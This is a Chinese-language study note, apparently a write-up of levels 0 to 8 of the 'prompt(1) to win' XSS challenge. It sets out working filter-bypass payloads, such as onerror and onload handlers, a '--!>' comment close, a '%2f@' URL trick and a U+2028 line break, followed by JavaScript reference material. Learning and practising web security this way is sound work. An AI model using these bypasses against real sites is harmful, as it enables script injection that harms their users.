WebSec 之 XSS
prompt(1) to win 平台
prompt(1) to win - 0x0 之 0-8
01
无过滤,白给局,掌握拼接的思路尝试
payload: 1">`<script>prompt(1)</script>`<"
02
过滤 =(
HTML 实体绕过(注意HTML实体有多种形式,可以都试试)
<svg><script>prompt(1)<b>
03
正则匹配检测同时出现的 ->
采用特殊方式闭合:
--!>
尽管其会引起语法分析错误,但 HTML 规范为如何处理这种错误情况提供了明确的处理,实现闭合;
payload
--!><svg/onload=prompt(1)
文档:
背景信息
HTML 规范在定义 tokenization 时提供了解决方案,使其成为结束注释的另一种方式。这主要涉及以下两个状态的转换:
-
12.2.4.50 注释结束状态 (Comment end state):
- 遇到感叹号
!
(U+0021 EXCLAMATION MARK)时,会记录一个解析错误,并切换到评论结束感叹号状态(comment end bang state)。
- 遇到感叹号
-
12.2.4.51 注释结束感叹号状态 (Comment end bang state):
- 遇到大于号
>
(U+003E GREATER-THAN SIGN)时,切换回数据状态(data state),并发出注释标记。
- 遇到大于号
04
输入开头限定 http://prompt.ml
@来调用另一个 URL 的资源
本地写 1.js
命名随意,内容为:
prompt(1)
接着使用,在构造的 js
文件目录下用下面的命令在80端口启动服务(不局限于python)
python -m http.server 80
payload 即为
http://prompt.ml/@localhost/1.js
但这样拼接,斜杠会让@失去功能
于是最终paylaod
http://prompt.ml%2f@localhost/1.js
![[Pasted image 20240617232656.png]]
如果无法触发,尝试换浏览器
05
>
被禁用,同时因为正则匹配 on
到 =
之间;于是加入
实现中断匹配(↑换行处可复制)
既然无法闭合,那我们从覆盖的角度入手,将输入框覆盖为 image
payload
"type=image src onerror
="prompt(1)
06
要求传入以 #
号分隔的 Payload,会分别解析,同时 #
后会解析为 JSON,将其作为 name
等参数赋值给新建的 from
元素;最后是一段 js
语句
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>
过滤 script:
与 data:
且不区分大小写,防止大小写绕过
但题目让用户数据操作了 forms
,同时仅 Check forms[0]
于是用 #
后的参数写 JSON,使其解析且命名为 Action
,实现让拥有 action
的 form
不止一个;值为黑名单外的任意值
payload
javascript:prompt(1)#{"action":1}
07
常规拼接,但截断输入,限制每块字符不能超过12bytes,由 Array.prototype.map
将 Array
每一项传入函数;真正发挥作用的是 js
中的注释符号,实现了将 <p>
标签注释。留下 <script>prompt(1)</script>
payload
"><script>/*#*/prompt/*#*/(1)/*#*/</script>"
08
输入语句被整行注释,采取换行的思路
预期:
<script>
// console.log("
prompt(1)
");
</script>
但 /r /n 被过滤;采用
Line Separator - U+2028
Paragraph Separator - U+2029
实现换行
payload
[U+2028]prompt(1)[U+2028]-->
(放在控制台执行后复制)
绕过
规范注释
js
//
html
<!-- -->
一些解释器规则
js:-->
html --!>
绕过思路:\n \t
Unicode
HTML 实体编码
绕过XSS过滤姿势总结 - zha0gongz1 - 博客园
补充知识
函数
const materials = ['Hydrogen', 'Helium', 'Lithium', 'Beryllium'];
console.log(materials.map(function(material) {return material.length * material.length}));
箭头函数
const materials = ['Hydrogen', 'Helium', 'Lithium', 'Beryllium'];
console.log(materials.map((material) => material.length * material.length));
Array.prototype.map 示例
Array.prototype.map
用于创建一个新数组,其元素是调用原数组每个元素上的提供的函数后的结果。这个方法对原数组中的每个元素调用一次提供的函数(回调函数),并使用函数的返回值来构建新数组。这里是它的基本语法:
let newArray = arr.map(function(element, index, array) {
// Return the new element
}, thisArg);
参数解释
-
回调函数:
element
: 数组中当前正在处理的元素。index
(可选): 正在处理的元素的索引。array
(可选): 调用map
方法的数组。
-
thisArg (可选):
- 用作
this
的值(即调用时的上下文)当执行回调函数时。
- 用作
返回值
- 返回一个新数组,每个数组元素都是原始数组相应元素通过回调函数处理后的结果。
使用示例
假设我们有一个数字数组,并且我们想得到每个数字平方后的数组:
const numbers = [1, 2, 3, 4];
const squares = numbers.map(function(num) {
return num * num;
});
console.log(squares); // 输出: [1, 4, 9, 16]
在这个例子中,map
方法遍历 numbers
数组的每个元素,对每个元素应用一个函数(将其乘以自己),然后将结果放入新的数组 squares
中。
注意
map
方法不会修改调用它的原数组(即它是一个不变方法)。- 如果原数组在调用
map
方法后被修改,那么传给map
的回调函数看到的是map
开始执行时的元素值,而修改后的值不会影响map
已经处理的输出结果。 map
方法会跳过空元素,但会保留这些位置(会返回undefined
于新数组相对应位置)。
onload
和 onerror
onload
和 onerror
是 JavaScript 中的事件处理属性,用于响应加载成功或加载错误事件。这些属性可以应用于不同的 HTML 标签,但不是所有标签都支持这些事件
onload
onload
事件在对象加载完成后触发。主要用于那些需要加载外部资源的标签,如:
<body>
:当页面完全加载完成时触发,包括所有框架、图像等。<iframe>
:框架内容加载完成时触发。<img>
:图片加载完成时触发。<link>
:当样式表加载完成时触发。<script>
:脚本加载执行完毕时触发。<input type="image">
:输入类型为图像的按钮,图像加载完成时触发。
这些标签支持 onload
事件,因为它们都涉及到某种形式的内容或数据的加载。
onerror
onerror
事件在对象由于加载错误(如文件找不到)而未能加载时触发。它通常用于以下标签:
<img>
:图像文件加载失败时触发。<script>
:脚本文件加载失败或运行时错误发生时触发。<link>
:样式表文件加载失败时触发。<video>
和<audio>
:媒体文件加载失败时触发。<input type="image">
:图像按钮的图像加载失败时触发。
不支持 onload 和 onerror 的标签
尽管很多标签支持这些事件处理器,但大部分其他 HTML 标签(如 <p>
, <span>
, <div>
, <a>
等)不支持 onload
和 onerror
事件,因为它们不涉及到外部资源的加载
实际使用
在使用 onload
和 onerror
时,通常会将它们绑定到需要监控加载状态的资源上,例如:
<img src="image.jpg" onload="alert('Image loaded successfully')" onerror="alert('Error loading image')" />
这样的代码可以帮助开发者处理资源加载成功或失败的情况,提高用户体验和页面的健壮性。但也为XSS埋下了隐患
工具:
正则可视化
Regex Vis